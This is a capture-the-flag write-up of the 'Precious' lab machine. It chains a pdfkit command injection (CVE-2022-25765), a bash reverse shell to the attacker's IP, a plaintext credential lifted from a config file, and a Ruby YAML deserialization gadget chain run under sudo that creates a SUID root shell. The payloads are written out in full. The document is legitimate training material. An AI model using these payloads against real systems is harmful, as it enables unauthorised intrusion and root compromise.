Introduction #
Precious is an easy Linux box starting with a simple web page that takes an URL to generate a PDF. I can use metadata from the output to identify used library and find a command injection exploit to get a foothold. Then I find credentials in a configuration file to get to the next user. To get to root, I will exploit a yaml deserialization vulnerability in a script that manages dependencies for a function the user can run with sudo.
Recon #
nmap #
nmap finds two open TCP ports, SSH (22) and HTTP (80):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.232.75
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There’s an HTTP redirect on port 80 to precious.htb, so add it to /etc/hosts.
Subdomain Brute Force #
Since I have a precious.htb domain I tried to look for any available subdomains:
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://precious.htb/ -H 'Host: FUZZ.precious.htb' -fs 145
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://precious.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.precious.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 145
________________________________________________
:: Progress: [220561/220561] :: Job [1/1] :: 1183 req/sec :: Duration: [0:03:44] :: Errors: 0 ::
But found nothing.
Dir brute force #
The directory brute force was also unsuccessful:
└─$ feroxbuster -u http://precious.htb --dont-extract-links -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://precious.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 2w 18c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 18l 42w 483c http://precious.htb/
[####################] - 47s 30000/30000 0s found:1 errors:0
[####################] - 47s 30000/30000 637/s http://precious.htb/
Website #
The website has a simple form:

It should return a PDF of submitted site, but it returns Cannot load remote URL! no matter what URL I try, even localhost is failing.

When I try something different: file:///etc/passwd I get new error stating it is not valid URL.
Last attempt was with my own server. I started a python http server and put http://10.10.15.12:8081 in the field.
└─$ python -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
After a short wait I get a hit:
10.129.228.98 - - [04/Dec/2025 10:19:00] "GET / HTTP/1.1" 200 -
and a pdf file is downloaded:

There is not much in the PDF, but I can run exiftools on it to get more information:
└─$ exiftool cncnyg59wkh2dav0o9wtme8hl2rec048.pdf
ExifTool Version Number : 13.00
File Name : cncnyg59wkh2dav0o9wtme8hl2rec048.pdf
Directory : .
File Size : 18 kB
File Modification Date/Time : 2025:12:04 10:19:01-05:00
File Access Date/Time : 2025:12:04 10:20:22-05:00
File Inode Change Date/Time : 2025:12:04 10:20:21-05:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
In the Creator field there is something interesting, it was generated by pdfkit v0.8.6
Shell as ruby #
Quick Google search for vulnerabilities in this version gets me a CVE-2022-25765.
More information can be found in THIS article.
An application could be vulnerable if it tries to render a URL that contains query string parameters with user input:
PDFKit.new("http://example.com/?name=#{params[:name]}").to_pdf
Example:
PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}")
Using that I can use:
http://10.10.15.12:8081/?name=%20`id`
and get PDF with the commend output:

For some reason the payload does not work without the %20 (URL-encoded space) at the start.
Shell #
With the functionality confirmed I can get a shell using this:
http://10.10.15.12:8081/?name=%20`bash -c "bash -i >& /dev/tcp/10.10.15.12/4444 0>&1"`
and catch a shell on the awaiting listener:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.12] from (UNKNOWN) [10.129.228.98] 37740
bash: cannot set terminal process group (677): Inappropriate ioctl for device
bash: no job control in this shell
ruby@precious:/var/www/pdfapp$
Enumerate user #
Running sudo -l gives me nothing as I do not have password yet:
ruby@precious:/var/www/pdfapp/config$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required
Looking at home directory there is one non-standard folder:
ruby@precious:~$ ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Dec 4 09:59 .
drwxr-xr-x 4 root root 4096 Oct 26 2022 ..
lrwxrwxrwx 1 root root 9 Oct 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .bundle
drwxr-xr-x 3 ruby ruby 4096 Dec 4 09:59 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
In the .bundle folder there is a config file:
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
With what looks like a password
It works and I can su to henry or better yet ssh in as him:
ssh henry@10.129.228.98
Grab user flag.
Root #
sudo -l on henry gives me this:
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Henry can run ruby as root.
looking at /opt/update_dependencies.rb:
henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
It is a script to manage Gems (Ruby packages).
Most interesting part is this: YAML.load(File.read("dependencies.yml")), it points to dependencies.yml and so it allows for user-controlled input to the update_dependencies.rb script.
henry@precious:~$ cat /opt/sample/dependencies.yml
yaml: 0.1.1
pdfkit: 0.8.6
I can use Ruby YAML deserialization to get a root. I would recommend THIS article that goes in detail, far beyond the scope of this writeup. For the CTF I only need THIS, which is the outcome of the above mentioned article.
I can create brand new dependencies.yml somewhere else:
henry@precious:/dev/shm$ nano dependencies.yml
henry@precious:/dev/shm$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
It leverages the !ruby/object: tag to construct a “gadget chain” of Ruby objects.
When this YAML is deserialized, the object relationships eventually trigger a call from the outer Net::WriteAdapter to Gem::RequestSet#resolve. During resolve, the Gem::RequestSet interacts with its @sets (the inner Net::WriteAdapter), passing the @git_set value (“id”) as an argument.
This forces the inner Net::WriteAdapter to execute Kernel.system("id"), achieving remote code execution and running the id command.
Running sudo ruby /opt/update_dependencies.rb now shows an error:
henry@precious:~$ sudo ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
<-- SNIP -->
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
But at the very top there is the output of id: uid=0(root) gid=0(root) groups=0(root) and it is running as root.
With proof of concept done, I can get a root shell:
Root shell #
I can update the same payload, but inplace of id I can use cp /bin/bash /tmp/tester; chmod 6777 /tmp/tester
cp /bin/bash /tmp/tester- creates a copy of the bash shell executable calledtesterin the/tmpdirectorychmod 6777 /tmp/tester- sets permissions of/tmp/testerso that any user can read, write and execute the file. Crucially, when any user executes/tmp/tester, it will run with the permissions of the file’s owner (due to SUID) and the file’s group (due to SGID).
If this command is run with root privileges (such as the ruby above ), the /tmp/tester file will be owned by that user (root). But because it has the setuid bit set, any unprivileged user can then execute /tmp/tester and gain a root shell.
henry@precious:/dev/shm$ nano dependencies.yml
henry@precious:/dev/shm$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: cp /bin/bash /tmp/tester; chmod 6777 /tmp/tester
method_id: :resolve
Running the sudo ruby /opt/update_dependencies.rb throws another error.
henry@precious:/dev/shm$ sudo ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
<-- SNIP -->
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
But as expected there is a file: /tmp/tester:
henry@precious:/dev/shm$ ls -la /tmp/
total 1252
drwxrwxrwt 11 root root 4096 Dec 4 10:56 .
drwxr-xr-x 18 root root 4096 Nov 21 2022 ..
drwxrwxrwt 2 root root 4096 Dec 4 09:48 .font-unix
drwxrwxrwt 2 root root 4096 Dec 4 09:48 .ICE-unix
drwxr-xr-x 5 root root 4096 Dec 4 10:48 passenger.2yhMDC5
drwx------ 2 ruby ruby 4096 Dec 4 09:59 runtime-ruby
drwx------ 3 root root 4096 Dec 4 09:48 systemd-private-7930ef930b3347a8b17792f7d2302cae-systemd-logind.service-4hddbj
-rwsrwsrwx 1 root root 1234376 Dec 4 10:56 tester
drwxrwxrwt 2 root root 4096 Dec 4 09:48 .Test-unix
drwx------ 2 root root 4096 Dec 4 09:48 vmware-root_377-1823935206
drwxrwxrwt 2 root root 4096 Dec 4 09:48 .X11-unix
drwxrwxrwt 2 root root 4096 Dec 4 09:48 .XIM-unix
Running with -p gives me a root shell:
henry@precious:/dev/shm$ /tmp/tester -p
tester-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root) groups=0(root),1000(henry)
tester-5.1# cat /root/root.txt
4bc74975***********70de5bd8f57e
tester-5.1#
Now just grab a flag and it is done!